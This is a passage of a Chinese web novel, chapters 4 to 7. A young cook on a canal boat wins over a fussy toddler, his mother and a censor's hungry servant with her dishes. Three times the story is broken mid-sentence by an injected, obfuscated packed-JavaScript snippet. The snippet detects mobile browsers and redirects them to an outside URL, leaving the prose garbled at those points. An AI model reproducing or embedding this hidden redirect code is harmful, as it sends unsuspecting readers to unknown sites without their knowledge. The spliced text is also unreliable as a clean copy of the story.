“小娘子买菜是准备在船上做饭？” 沈小少爷已经认得莫玲珑，一见她就咿咿呀呀地张开手，热情地要扑过来。 “是啊，干粮有些吃腻了。” 莫玲珑逗了会儿孩子，沈小爷咯咯笑个不停，一双黑白分明的大眼笑得眯起。 好一会儿，她才道别转身进了自己房里，准备做一顿分量足足的午晚餐。 外面，李嬷嬷抱着动得不消停的小主人，一脸愁容，心里想：可不就是呢？大人都吃腻了，咱们这位祖宗更是什么都不吃！ 这次回金安奔丧，范氏为全孝心，将范老爷没见过的小外孙也带在身边。 只带了她一个嬷嬷。 起初还觉得是个美差，能出那么大个远门，还得大把赏银，但出来了才知有多难，真是有苦说不出。 南下金安路上走了一个月，孩子就闹了一个月。 船上条件本就艰苦，尽着给孩子准备吃食了，每次靠岸都使了大笔银子买新鲜的奶来，可沈小爷就是一日比一日瘦下去。 等到金安，小脸上的肉饿瘦了一半。 范氏心疼得不行，这次北上回京，便备上了许多的吃食，连小炉和小锅都备上了。 但——无论是金安城里最出名的花糕点心，肉干零嘴，还是她们自己用小炉煮的面条，这位小爷都兴趣缺缺。 只尝个鲜，再多喂就不给脸了。 眼看着又要掉肉，忽然在船上碰到莫娘子，一块葱油松饼能让小爷流口水。 那流的不是口水，是李嬷嬷的命啊！ 想到这里，李嬷嬷忽然生出一丝微弱的希望，那莫娘子既然家里开饭馆，除了做饼，应该还会做饭吧？ 虽然莫玲珑的年纪不像独撑门面的手艺人，但冲她那份对食材信手拈来的气度……万一呢？ 这么一想，她沉不住气了，抱着沈小少爷就往那船灶找过去。 莫玲珑正认真地收拾着两个瓷碗。 一个瓷碗里的米泡了水，将三层五花，散发着油脂芬芳的腊肉铺了一半，又拿码了味的肉片铺在另一半上。 剩下一只瓷碗，则匀匀地将搅上劲的肉末铺在碗底，洒上几片香蕈并几根姜丝，其余什么都没画蛇添足，只等蒸好了添几粒盐巴就得鲜掉眉毛的瘦肉汤！ 莫玲珑在两只碗口各盖上一张干荷叶。 这样一来，不仅隔了锅盖上的水汽滴落，还能额外增添一抹清香。 其实最主要是怕脏。 虽然洗过，但这锅盖是木头的，积了不知多少春秋的陈年老垢，怎么洗都觉得不干净。 柴火噼啪燃起，锅里水沸腾，咕嘟咕嘟的声音中腊肉受热，渐渐散发肉脂烟熏后，富有穿透力的香气。 才离开几天，但真的久违了。 回过神才发现，李嬷嬷不知什么时候抱着孩子过来了。 沈小爷的两条短腿蹬着李嬷嬷的怀抱，蹬出了万马千军的气势，一双手朝着莫玲珑的方向伸出来，急得婴语原地进化：“吃……吃！” 李嬷嬷奋力捞着怀里的孩子，听到这一声，动作顿住。 小少爷，会，会说话了？ 刚刚说的，是个“吃”字吧？ 沈瑞是沈府尹和范氏的第二个孩子，长子已经十二岁上，才迎来这个次子。 可想有多么疼爱。 但沈小爷什么都好，长得比同月的孩子要高大健硕，坐，爬，走，样样为先。 唯独一样——贵人语迟。 两周岁了，还不曾开口喊过爹娘。 李嬷嬷激动得顾不上跟莫玲珑打招呼，一叠声抱着孩子去了上一层舱房。 两个护卫跟在后头，生怕她没抱紧摔了怀里的金疙瘩。 “夫人，夫人大喜啊！”李嬷嬷进了门，站在房中，哽咽地抱着孩子报喜，“小少爷会说话了！” 太难了，谁懂她这一路吊着的心呐。 总算有了那么一个，能让她在沈家仆妇中能挺直腰杆的好消息。 范氏正捻着青翠今天下船买来的果子吃，听见这话，一下子在床上坐起身，惊喜地看向因为挣扎而小脸涨得通红的儿子。 “瑞儿，会喊娘了吗？是不是刚才找娘呢？” 她的大儿子也是先学会喊娘的！ 看着范氏充满期待的表情，李嬷嬷忽然心里暗道一声糟了。 上京有这样的传说，孩童第一个说的字，关系到将来的出息。 堂堂沈府尹的二公子，怎么可以只想着“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716588|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃”呢？！ 她着急忙慌地开口说对，但声音被气得打挺的沈小爷嘹亮的一声“吃”给牢牢盖住。 沈小爷嚎啕大哭。 这些大人到底在干什么！马上快吃着好吃的了，把他抱走是要闹哪样？！ 范氏先是一愣，听清后哭笑不得：“吃好啊，瑞儿说的这个字好！” 其实她和夫君对这个贵人语迟的小儿子，并没像旁人想的那样，希望他将来飞黄腾达，位极人臣。 这个吃字，依她看好得很。 吃四方，吃平安，能吃是福。 不知怎的，她又想起那个做得一手好酥饼的姑娘。 会做吃的，就无论什么时候都能过滋润。 瞧，她这儿样样俱全，可做出来的东西除了有点咸味，就不香。 就拿今天煮的鸡蛋汤面来说，面条糊烂，汤水浑浊，真真一口都嫌弃吃。 从上京出门前，明明身边的婢女嬷嬷都在灶房大师傅那学过，平时小厨房做点吃食也还能下口。 可出了门，就怎么都不对了呢？ 这么想着，她饶有兴味地问：“瑞儿怎么好端端地突然说吃呢？” 李嬷嬷见自家夫人没有不快，心里的大石头放下，顺着把话题引开：“刚在船灶那儿，看到莫娘子在做蒸饭，少爷突然就开口了。” 这怎么跟自己想到一块儿去了？ 要不怎么说是母子连心呐！ 那位莫姑娘送的饼今天被儿子吃完了，她中午这顿没饱，再甜的果子也不抵馋虫，索性站起来接过孩子：“人还在吗，走，去瞧瞧。” 几人还未走到船灶那，先是嗅到了那肥润的肉香中夹杂着荷叶清新的香味，肚子里那些馋虫，都被勾了出来，跃跃欲试。 等到了，才发现那张船灶边已三三两两地聚了些人。 莫玲珑心无杂念地听着灶上的锅，估算火候。 隔水炖的肉汤，时间应该还不够，但双拼腊肉蒸饭，已经完全熟了。 于是她拎起锅盖，飞快地捧出那碗蒸饭。 瞬间，刚才那还犹抱琵琶半遮面的香味儿，尤如一股浩然正气，肆意张扬地散发开来。 接着便掀开了盖在碗口上的荷叶。 那股浩然香气一下子变得具体起来。 围观的众人不约而同咽了口口水，勾着头看去。 只见粒粒晶莹的米饭上，铺着薄薄的腊肉，肥的部分晶莹透亮，让人毫不怀疑咬在嘴里会是何等润滑香口，而瘦的部分呈现暗红色，看起来烟韧弹牙充满食欲。 另半边那沾着碎豆豉的肉片，贡献了整碗饭磅礴的香气中，属于发酵的醇厚浓郁。 莫玲珑把准备好了的甜酱油和葱花洒进去，喷香。 真是一碗好饭呐！ 莫玲珑也觉得这碗饭蒸得挺成功。 荷叶的加入，很加分。 就好比那粤式小点糯米鸡，外面那层荷衣，是点睛之笔。 有了它，才称得上丰润怡人，而不只是糯米蒸肉。 沈小爷再也忍不住了，哇一声哭出来。 委屈得大声喊：“吃，吃饭饭！” 莫玲珑一抬头，和沈小爷四目相对。 嘴唇都哭抖了的孩子，黑葡萄一样黑亮带泪的眼睛看看她，又看看灶上的碗，石破天惊地扯着奶嗓嚎：“吃饭饭！要吃饭饭！” 5. 第 5 章 急得孩子直接蹦了个句子。 李嬷嬷一脸复杂。 在府里，沈府尹和范氏得空就给孩子念《幼学琼林》，都不如船上的一碗饭——馋狠了就会说话了。 见孩子又紧盯着她的饭勺，莫玲珑忍住笑意：“尝尝？” 她举起勺子，送到孩子面前。 沈小爷一路盯着饭勺，乌溜溜的双眼看成了对眼，抱住她的手，直接就着勺子一口下去。 嚼嚼嚼，香喷喷。 旁边围观的众人也打趣： “小郎君闻着味儿馋了！” “小娘子的饭食的确做得好！我刚吃饱了都馋……” 范氏看她这碗饭，眼睛也看亮了。 未出阁时，她爹爱吃也会吃，带着她到处下馆子，这样的吃法像菜饭，却又偏是蒸的。 于是她问出了众人的心声：“莫姑娘，这是什么饭？” 一旁的人们，都瞧过来。 莫玲珑有种上辈子给粉丝拍美食vlog的既视感。 她把碗展示了一下：“是双拼蒸饭。不拘什么材料，腊肉，腊肠，鸡块之类都行，如果有陶锅直接在火上焖就更好吃了，锅底会起一层脆脆的锅巴，饭也更干爽香甜。” 对于菜谱，她是一向不吝啬的。 一个菜最终成品的口味，诀窍很多，不仅仅是配料和调料。 沈小爷蹬着小短腿往勺子跟前扑腾，也恰好甲板上风大，莫玲珑摸着碗饭已经不烫，就又喂了他一口。 怕孩子嗓子眼小，她挖得不多，就一小口米饭和一小片肉。 沈小爷已经长齐了牙，抿在嘴里尝到味儿后，脸颊一鼓一鼓地，飞快吃完了。 这速度，根本不像是这么小的娃儿啊。 沈小爷显然不满足于这么一口，伸出两条胳膊，用力地探出身子……直接抱住了莫玲珑正要收回去的手！ 旁人自然不知这位小爷这段时间以来什么都不吃，深受喂饭之苦的李嬷嬷和青翠却当场有些想哭。 莫玲珑本就做多了，打算一顿抵两顿的，见状便又挖了一勺。 范氏哪舍得小儿子这幅样子，便说：“莫姑娘，我有个不情之请。” “夫人你说。”莫玲珑继续喂。 沈小爷嘴张得大大的，对喂进来的第三口还是这么小，有些失望。 但来不及抗议，鼓着脸颊又飞快地嚼嚼嚼，咽下去了。 再来再来！ 他蹬着的短腿，挥舞的胳膊，都在叫嚣着继续。 于是他直接推开李嬷嬷，扑到有香香饭的姐姐怀里。 范氏一边把儿子抱回来，一边哭笑不得地说：“能不能帮我，做一锅同样的饭给他吃？我房里有炉灶，也有米面和肉，想麻烦莫姑娘你帮忙做一份一样的，不知道会不会太唐突了……” 若不是收到夫君的催信，范氏本打算带着儿子沿路一路玩上去。 这炉灶，还是范氏那行伍经验丰富的兄长让带上的。 莫玲珑不觉唐突，只微微一笑。 上船的时候她发现了，这艘漕船分上中下三等价位的舱房。 对应的自然是不同经济水平的客人。 然而供的船食却是不分大小灶的。 囊中羞涩的人，只能忍着吃干粮。 略宽裕些的，等码头靠岸的时候补给些吃食。 但再宽裕些的，就会难忍二十来天的航程。 她今天特意选了肉香浓郁的腊肉做饭，只是试手。 于是她说：“这有什么唐突的，夫人若是方便，到时借我炉灶就行。只是我还得等汤好，不如留下房号，待会儿我再过来？” 范氏看了眼怀里馋登登直勾勾看着饭的儿子，哪舍得他等，笑着说：“你告诉嬷嬷怎么看，让她守在这儿就行。” 李嬷嬷上前一福身：“奴婢来看火。” “那好。”莫玲珑把火头的要点说给李嬷嬷听后，端起碗去范氏的房里。 范氏住的是一间一等舱房。 房间很大，两侧都有窗户，整齐叠放的被褥露出一角考究绣花，显是她自用的。 床榻下还摆着张小榻，应是婢女睡的。 让莫玲珑眼前一亮的是，这舱房的设计跟现代的游轮相似，带一个独立的观景廊。 范氏说的灶炉，就安置在廊上。 炉肚里还有点余炭，上面架着一口铁锅，炉子旁的调料罐子精致得像艺术品。 炉子对面的藤编篮子里，满满登登装着的各色菜蔬、果子，以及肉食。 莫玲珑算着银子抠抠搜搜买的猪肉，羊肉，这里成块地堆着，那些放不了两天的叶菜，郁郁葱葱装了满篮。 范氏见她已经看到菜了，便问：“莫姑娘，你看这些菜够吗？” “够，太够了。” 莫玲珑指着藤篮说：“菜搭配得很好，这些叶菜不经放，下次可以少买些。这么多菜，足够你们吃到下次靠岸。” 三言两语，让青翠脸上泛出光彩。 终于叫夫人知道，小少爷不肯吃，不是她买菜的缘故。 见桌上碗筷俱全，莫玲珑分了一碗出来，先递给了咿咿呀呀不断的沈小爷。 抬头看着范氏主仆二人，又问：“你们吃了吗？” 范氏的脸上闪过一丝尴尬：“……没呢。” 刚才几人一路回房的路上，莫玲珑手里的那碗饭，离她不过一丈远。 这回看得仔细，真真绝妙，色香味俱全。 所以，这会儿问她吃没吃过，就算吃饱了，她也要说没吃…… 青翠看了眼自家夫人，把头埋下去。 于是莫玲珑便又分了两小碗出来：“那待会儿我多做点，晚上在你们这儿蹭一顿。” 范氏不懂什么叫“蹭”，但听这意思是晚上做了一起吃。 “那是自然！”她说。 沈小爷不用寒暄，比她们先吃上。 这会儿饭已经不烫口了。 他推开青翠的手，像怕她抢一样，小手抓着汤匙，一勺一勺地往嘴里送。 咀嚼，下咽，继续。 若不是那一脑门汗透着呆萌，老练得像有三五岁一样。 范氏看着心里软成一片，舍不得动筷。 她用箸的动作优雅，透着经年累月的涵养。 但，当一口饭裹着豉汁肉片入口。 鲜香的肉汁浸透了米粒，就这么囫囵着咽了下去，仿佛五脏庙急不可耐。 很快，主仆俩跟沈小爷扒饭的幅度一致，把一小碗饭送进肚中。 范氏意犹未尽，也有了比较——不是因为几天没吃过好吃的饭菜无从比较，而是这位莫姑娘的手艺，真的好。 她看着莫玲珑，心里有了个主意，但…… 正犹豫是否唐突，李嬷嬷来了，隔着门：“夫人，莫小娘子的汤好了，这汤我是先送回……” “拿进来！”范氏提声，然后问，“莫姑娘，这汤我们能尝尝吗？” “当然。” 莫玲珑晚饭有了着落，怎会吝啬这点汤。 再说这汤，跟蒸饭是绝配，她们吃过就知道。 范氏看着汤，一时觉得失望。 这汤不像双拼饭那样，一眼能看到的色香味，显得有点平平无奇。 因为，太像一碗白开水了。 她有点疑惑地品了一口。 就这一口，范氏愣住。 怎么会这么……醇厚？ 对，醇厚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716589|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明明是清透到极致，让她误会成白开水的汤，入口比自家厨子炖成奶白色的骨头汤都要鲜。 再低头看自家儿子，咕嘟咕嘟喝得极为认真。 连莫玲珑分给他的一小块儿肉饼都就着汤吃了下去。 旁边李嬷嬷先开口：“乖乖，这汤怎么这么鲜呐！怎么做的？” 她一激动，乡音都出来了。 “这肉饼汤简单，拿新鲜的肉，剁碎了以后搅打上劲，加上点泡发的香蕈，一点儿姜片，就这么蒸，哦，我还加了点虾增加风味。” 李嬷嬷不信：“这么简单？” 莫玲珑：“对，就这么简单。” 但好吃的秘诀，在搅打的力道、程度上，和海鲜的运用上。 比如虾粉她不是直接加进去的，而是用花雕浸泡后，弃渣不用。 光知道素材，不知道细节和比例，也做不出一样的味道啊。 范氏被这碗汤彻底折服。 也对莫玲珑产生了点好奇—— 这种方子，但凡开店做生意的，都当成宝贝密不示人。 但眼前这位姑娘，却毫不在意，大抵是因为，根本算不上她拿手菜。 顾不上是否唐突了，她说：“莫姑娘，我有个不情之请，可能有点唐突，请你莫怪。” 莫玲珑：“夫人请说。” “你看，瑞儿极爱你的手艺。这段时日，唯有这几天吃姑娘你做的吃食，才有胃口。所以我想请你每日为我们做一顿饭菜，饭菜炉灶调料尽可提要求，每日我付你500文。” “我知道500文实在不多，莫姑娘可能也不屑于给别人做饭，若是觉得不愿，我也绝无怨言，本就是我唐突。” 范氏执掌中馈已逾十年，面对家里各家铺子的掌柜都压得住气势。 却不知为何，在这看起来不过二八年华的姑娘面前，有些心神不定，生怕她觉得自己低看了这份手艺。 莫玲珑看着她，眼眸如水般明亮：“我是厨子，又怎会不屑于做饭，再说，夫人你邀我，也是帮我。我不光有收入，还可以省不少银子。” 500文一天，剩下的航程能有八、九两，普通人得赚几个月。 不少了，足够她在上京先落脚。 见她答应，范氏一颗心放下。 只是意外，未嫁模样的莫玲珑居然如此坦荡直言自己需要银钱。 要知道大安朝厚嫁成风。 一个有着丰厚嫁妆的女子，在谈婚论嫁时可挑选的范围要大得多，出嫁后在婆家的腰杆也要硬得多。 哪怕家底不厚，未嫁女出门在外也绝不可寒酸露穷。 她不怕嫁不出去吗？ 范氏自持修养，不好开口问。 但她很快发现，跟那些金银绸缎死物相比，这份手艺应是莫玲珑最好的嫁妆和底气。 ——只需一口锅，就能有想不到的美味佳肴。 但凡开店，便不愁生意。 当晚，范氏吃上了荠菜烩面，凉拌青瓜鸡丝，和说不出来加了些什么，但香酥得让人恨不得连舌头都吞下去的炸丸子。 正对这间舱房的楼下二等房里，阿竹闻着不知哪儿飘来的诱人香味，愁眉苦脸地咽着拉嗓子的烧饼：“主子，下次靠岸，咱也去买两个菜打打牙祭吧，啊？” 贺琛坐姿如松，酣畅淋漓地将此份提报的上半篇收尾，才搁下笔。 他按了下饿得隐隐作痛的腹部，饮过一口茶后，也拿起干硬掉渣的烧饼：“银子你看着花。” “您忘啦？咱们丢了银子，统共就还剩二两，怎么花都只有吃烧饼的份……”阿竹默默哀叹。 房门笃笃敲响，青翠隔着门问：“贺郎君在吗？我家夫人让我送点饭菜过来。” 6. 第 6 章 听见有吃的，阿竹跳起来开门。 门一拉开，只见刚才让他借着香味咽烧饼的饭菜，一样样精致可口地躺在提篮里，香得他顿时口水直流！ 鬼使神差地，他一把接了过来。 贺琛淡淡瞥他一眼，阿竹手一哆嗦，缩起脑袋。 男人起身：“某谢过沈夫人，饭菜就不必了。” 说完又看着阿竹，让他还给人家。 阿竹哪肯放走到嘴的肉，他看清了，有鸡丝儿，有炸肉丸，他要吃肉！ 当下也不顾当着外人了，顶住压力护着提篮跳开：“我不，就不！” 青翠捂嘴笑：“郎君就别客气了，夫人找了个大师傅，每日请她做，我们菜买得也多，反正就多两双筷子的事，千万别客气。” 贺琛依然摇头：“不可。” “沈夫人又不是外人！”阿竹为捍卫篮子里的饭菜据理力争，抻着脖子顶嘴，“咱们不要才显得生分了！” “是啊。”青翠后退一步转身，对阿竹做了个谢谢的手势：“请郎君莫要让奴婢为难。” 说完飞快转身离开。 她刚才瞧见了，再不走，阿竹的口水都要滴下来了。 还是让他们这对主仆自己撕吧，她只要交差。 门一关上，阿竹飞快地把里面小巧玲珑的碗碟摆出来：“主子你再凶我，哪怕打我都来不及了，我今天就要吃，吃定了！” 但他依然是个懂事的随侍，每样菜都只扒拉走一小半，拿个碗把饭菜倒一块，搅一搅往嘴里塞。 这么一拌，什么卖相都没了，可入口的味道层次依然分明。 “好吃，太好吃了！”一张嘴又要忙着嚼，还要忙着说话，忙坏了。 他飞快吃完终于放慢速度，意犹未尽地用一小碗面汤泡那块还没啃完的烧饼。 干硬的烧饼，泡进面汤一下胀酥。 吸饱了汤汁仿佛被注入灵魂，变得绵软酥香，入口即化。 ——乖乖，沈夫人是哪里找的厨子，也太神了吧？！ 风卷残云吃完，阿竹领罚。 他垂着脑袋，干脆利落地跪下，跪得一丝不苟：“主子，罚吧。” 犯错的时候，贺琛真会罚他。 并不会因为多年的主仆情分，而手下留情。 往常他都要偷奸耍滑想办法赖掉，今天心甘情愿。 这顿饭值，太值了。 “先反省。” 贺琛冷冷说完，起身出了房门。 “不先吃完再走嘛？”阿竹惋惜地看着篮子里的菜。 等他回来，还不都冷了啊？ 贺琛站在房门外甲板上等了片刻。 先抬手辨了下风向，又回忆刚才菜香味的方位，微一思忖抬脚往上一层船舱去。 这艘漕船顶上是仅有五间，且售价高昂的一等舱房。 与下面的船舱相比，要清净雅致得多。 一路上来，贺琛只在梯子上遇到一个人。 他上行，对方下行。 视野中六幅素绫裙摆被双手微微提起，露出豆绿棉布鞋面。 正脚步脚步轻快地拾级而下。 他忙移开视线，后退至梯下，待姑娘下到甲板才抬脚重上。 擦肩而过时，对方身上淡淡的菜香让他表情微凝。 恰好是他房里那一篮菜中，最香的那一碗炸丸子的味儿。 两人交错后渐行渐远，对方跃然的脚步很快停住。 贺琛听声辨位，听到身后第二间房门打开，然后关上。 他收回注意力，抬脚继续上梯。 缓步走到第二间，那炸物的油香浓烈起来。 应是这一间。 他轻轻抬手扣响：“贺琛见过沈夫人。” 门内有人应声。 很快，门向内打开。 范氏牵着孩子，在婢女陪侍下，请他入内坐坐。 贺琛侧过身，垂下眼睫：“不了，某冒昧打扰，是为谢谢沈夫人的饭菜。” 范氏从夫君那听过不少贺琛的“事迹”，这位名动上京的巡按御史为人刚直。 她刚才还在担心，会被不留余地拒绝。 “就几碗菜，哪里就值得谢了！”她笑意温和，“因我的婢女不通厨事，买多了菜，就做多了。我想你一个人出门，又要忙公事，吃得自然潦草。真要算，还得谢你帮我们厉行节约，没浪费这些……” 说着，范氏抬手指向窗户。 那里吊着几块腌肉，正迎风摇晃。 刚才吃完晚饭，莫玲珑说这么多肉放着，两天就要坏，便说做成腌肉。 她拿来自己准备的香料，用盐炒热炒香了之后，均匀抹在肉块上，然后吊起来。 “江风挺大，吹几天就入能入味，到时候我给你们做轻奢版腊味松，用来送粥最香了。” 虽然没吃过腊味松，但听着就觉得一定香！ 贺琛弯腰一揖：“多谢沈夫人。碗碟待会儿洗净后送上来。” 范氏回了个礼：“再谢可就见外了。你是外子欣赏的知交，要是让他知道我明知你同行，也不照拂你吃饭，可要同我闹。再说我也是运气好，在这船上寻到个手艺极好的大师傅，如果是我婢女的手艺，也不好意思让你尝啊！” 闻言，贺琛抿了抿唇：“某谢过沈夫人。” 再度行礼后，退后离开。 阿竹在房里跪着地等待自己的“审判”，但贺琛回来，竟没多说什么。 只是继续吃完他的烧饼，没动那几碗色香味俱全的饭菜。 “……主子，你不吃吗？”他惴惴不安地问。 吃着烧饼的贺琛面无表情，好半天回给他一个冷淡的嗯字。 喝了口水咽下粗硬的饼渣，才说：“不吃。” 他肉体凡胎，自然分辨美味同糟糠有着云泥之别。 但他不会与沈府尹为伍。 他要做的事，在他人眼中实在大逆不道。 因而也不会让任何人，碍着自己的路。 阿竹见他真不吃，便叨叨：“那也别浪费了……” 他把剩下的那一半饭菜扒拉到自己面前，一边吃一边表达： “太好吃了这炸丸子，看起来外面干干脆脆的，但里面是松松的，一点儿不费牙还有肉汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716590|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，一口下去别提多美了，酥脆多汁……哎，可惜这小丸子就两三个。” “主子，咱真没吃过这么好吃的烩面！你看骨头汤炖得白白的，喝在嘴里有点儿粘嘴，但是，它一点都不腻！因为加了……这是荠菜吧？切得碎碎的，味儿清香！” 阿竹喝起汤来动静惊人，恋恋不舍地吃最后一份小菜时，惊叹不绝：“最神的是这拌鸡丝儿啊，看这色儿，红润润香喷喷的，咱们下来这段时间可没见过这么好的红油！鸡肉丝儿吸饱了料汁儿，偏这瓜丝又特别清爽……绝配，绝配啊！” 就着色香味俱全的实时播报，贺琛平静吃完了烧饼。 阿竹带着享受的余韵打扫干净，拎起篮子去洗碗。 生怕这位爷又想起还没罚他的茬。 就在他要关门时，贺琛忽然开口：“隔壁舱房的住客，是为沈夫人做饭的女灶师傅，你隔着门问问，她可愿意每日给我们做碗面？那二两银子你拿去付个定银，不够的待回京了补上。” 阿竹缓缓偏过头去看着他，眼神满是不可置信：“哦……啊？” 主子，也馋了吗？ 不过，他是怎么知道人家大师傅住隔壁的？ 带着不解，阿竹小心翼翼敲响隔壁房门。 莫玲珑正在房间数银子。 10两雪花银！ 范氏直接付了她10两。 她把这些银子分成两份，一份塞在腰上，另一份则装进了林巧给她缝的暗袋里，随身携带。 听见敲门声，她生出警觉，隔着门问：“谁？” 门外的阿竹又懵了会儿—— 不说“大师傅”吗，怎么听声音是个年轻的小娘子呢？ 难道是他找错舱房了？ 他后退一步又确认一番，的确是他跟主子那间的隔壁，没错。 而房里，莫玲珑轻轻摸到了房门口，一手握住了门栓，另一只手拿起菜刀护在身前。 正准备动手时，阿竹隔着门小声虚虚地问：“……请问，大师傅在里面吗？” 嗯？ 莫玲珑把刀收回两寸，冷声问：“什么大师傅？” 阿竹嗫嚅着说：“就帮沈夫人做饭的大师傅啊……大概是我记错了，不是这一间。” 这屋里的姑娘好凶！ 他往后又退开一步。 罢了，应该是主子记错了。 他准备转身离开，但门却在这时打开。 缝隙中露出了一张紧绷着，但依然顾盼神飞的脸：“谁？什么事？” 阿竹看着她，瞪大眼睛：“你是给沈夫人做饭的大师傅？” 眼前的姑娘，看起来刚过及笄的年岁，怎么可能做出那么好吃的饭菜？ “对。所以，到底什么事？” 莫玲珑一手把着门，另一只手将菜刀藏在身后。 见对方声音，最多跟自己一般大年岁，阿竹只好将满腔的谄媚略作改动：“我们住你隔壁，我家主子说，想劳烦姑娘你每天帮忙做碗面条，银子……我们有二两，姑娘你看着做行吗？” 说着他伸出手掌，掌心里托着块银子，虔诚得像举着一捧花。 7. 第 7 章 南瓜鲜鲜疙瘩汤 门开了条缝。 莫玲珑看了眼托到自己跟前的那块银子，微一沉吟：“你们认识沈夫人？” “是呢是呢！”阿竹见她态度缓和，指着篮子咧开嘴笑，“刚吃完沈夫人叫婢女送来的饭菜，您的手艺，是这个！” 他比了个大拇哥。 可惜不能说出自家主子的官称，好叫眼前这位姑娘知晓，他们断断不是坏人。 莫玲珑视线顺着落到篮子里，里面肥肥白白的卷边白瓷碗，的确跟刚才自己用过的餐具属同一套。 她慢慢收起防备。 二两银子不算少。 莫家杂货铺隔壁的布庄账房，也就二两月银。 给主仆俩每天做碗面，也用不了二两。 但莫玲珑还有顾虑，直言道：“做两人的面当然不难，也用不到二两银子这么多。但船灶的锅不太干净，我现在用的是沈夫人的锅灶，你们若爷想用，我要跟她商量后才好答复。” 阿竹闻言唬了一跳，膝盖仿佛又在隐隐作痛。 他连连摆手：“可别可别！我家主子断断不肯麻烦别人，锅我来刷，我待会儿就去刷！至于每天吃什么，姑娘你看着做就行，我们不挑，给啥吃啥。” 莫玲珑见如此，便应了这桩差事：“那我先收一两银子。先要打个商量，我买菜不多，也就够我一个人吃的量。所以下一站靠岸前，可能给你们吃得简单点，请见谅。” “没事，姑娘你做的素菜肯定也好吃！”阿竹回味着一刻钟前尝到的滋味，脸都笑烂了，压根不想讨价划价，“银子您就拿着吧，也没银剪凿啊，你说对吧！” 记下对方名字，莫玲珑用画眉的炭条给他写了张现银收讫的条子。 又入账二两银子。 第二天，青翠早早来请她上去：“瑞少爷一早不肯吃奶糕，夫人就说，想麻烦姑娘你早点做午饭。” 莫玲珑自然应下。 但只好先搁置了她本打算先准备好隔壁那顿饭的计划。 见时间充裕，她用前一天特意留下的牛腱子，卤了锅牛肉。 锅底小火慢慢炖着的时候，她手上没闲着，揉面抻面，做了足够五个人吃的面条。 等烫完配面条的青菜后，她擦了擦手准备下去做隔壁那两位的饭，便对范氏说：“沈夫人，肉还炖着，我有些别的事，等我上来差不多就可以开饭了。” “你去忙你的。”范氏对她满意至极。 自莫玲珑上来开始备餐，儿子就不闹了，一直扒在窗沿上，目不转睛地看。 一直看到她调完卤汁，把肉放下去炖。 耐心守着炉子火苗舔着锅底，皱起小鼻子嗅那渐渐诱人的卤肉香。 乖得不行。 她看着心都化了。 没有哪个母亲，会不喜欢安安静静不闹特，还胃口好的孩子。 莫玲珑到了下层，见果然有一口灶上的锅边陈垢洗刷干净了，但眼下有人在煮粥。 便先准备配菜。 阿竹——那半大孩子给她写收条的名字叫阿竹，问他口味偏好时，只说他家主子惯常吃面食为主。 她便想今天试做顿疙瘩汤。 疙瘩汤是很简单的家常主食，配菜丰俭由人。 豪华版用鲍鱼海参干贝做底，日常版的番茄鸡蛋，青菜蘑菇，各有各的味。 她今天做非常日常的的南瓜疙瘩汤。 上次靠岸挑到的南瓜很好，还剩一点儿做肉饼汤没用完，已经码了味的肉末，刚好能做疙瘩汤。 等切完南瓜，灶上空了出来。 莫玲珑刷干净锅后，自己也仔仔细细净了手，不急着起油锅做汤底，而是先用锅做疙瘩。 少量的清水先倒在锅里，然后抓了四把面粉撒进去。 ——她自己吃的话，一小把面粉就够了，因为南瓜也是碳水。 但第一次做摸不准“新客人”胃口，就多做点。 紧接着，她动作飞快地一边搓一边按推面粉，搓成大小均匀的小疙瘩。 这就成了面疙瘩。 重新刷净锅，莫玲珑挖了勺猪油进去，刺啦一声爆香葱白，煎熟肉末，再下入南瓜块。 最后，莫玲珑又加了花雕处理过的虾碎。 加水大火烧滚。 水汽氤氲，香味慢慢蒸腾。 又有三三两两的乘客被吸引，闻着味儿伸长了脖子瞧过来。 只看见敞着的锅里，黄澄澄的南瓜块儿已经酥软，不见什么大鱼大肉，可怎么闻起来这么“荤”呢？ 这一路行船，大部分乘客都是自带干粮就着热水吃，极少有人吃船食。 等靠岸时，去码头边的小摊小馆打个牙祭，再顺带几天的干粮。 即便有自己做的，就这点儿条件，也不过是素粥素汤面解个肚饿罢了。 肉和虾不易储存，一般不会带上船。 许多人已多日没吃到荤腥了。 “闻到肉味没？” “有！我还闻到虾味儿了，鲜香鲜香的。” “可不就是南瓜吗？” 清甜的南瓜，肉和虾的荤香，在香葱和猪油的调和下，达到美妙的平衡。 也让日常的疙瘩汤，多了点豪华的风味。 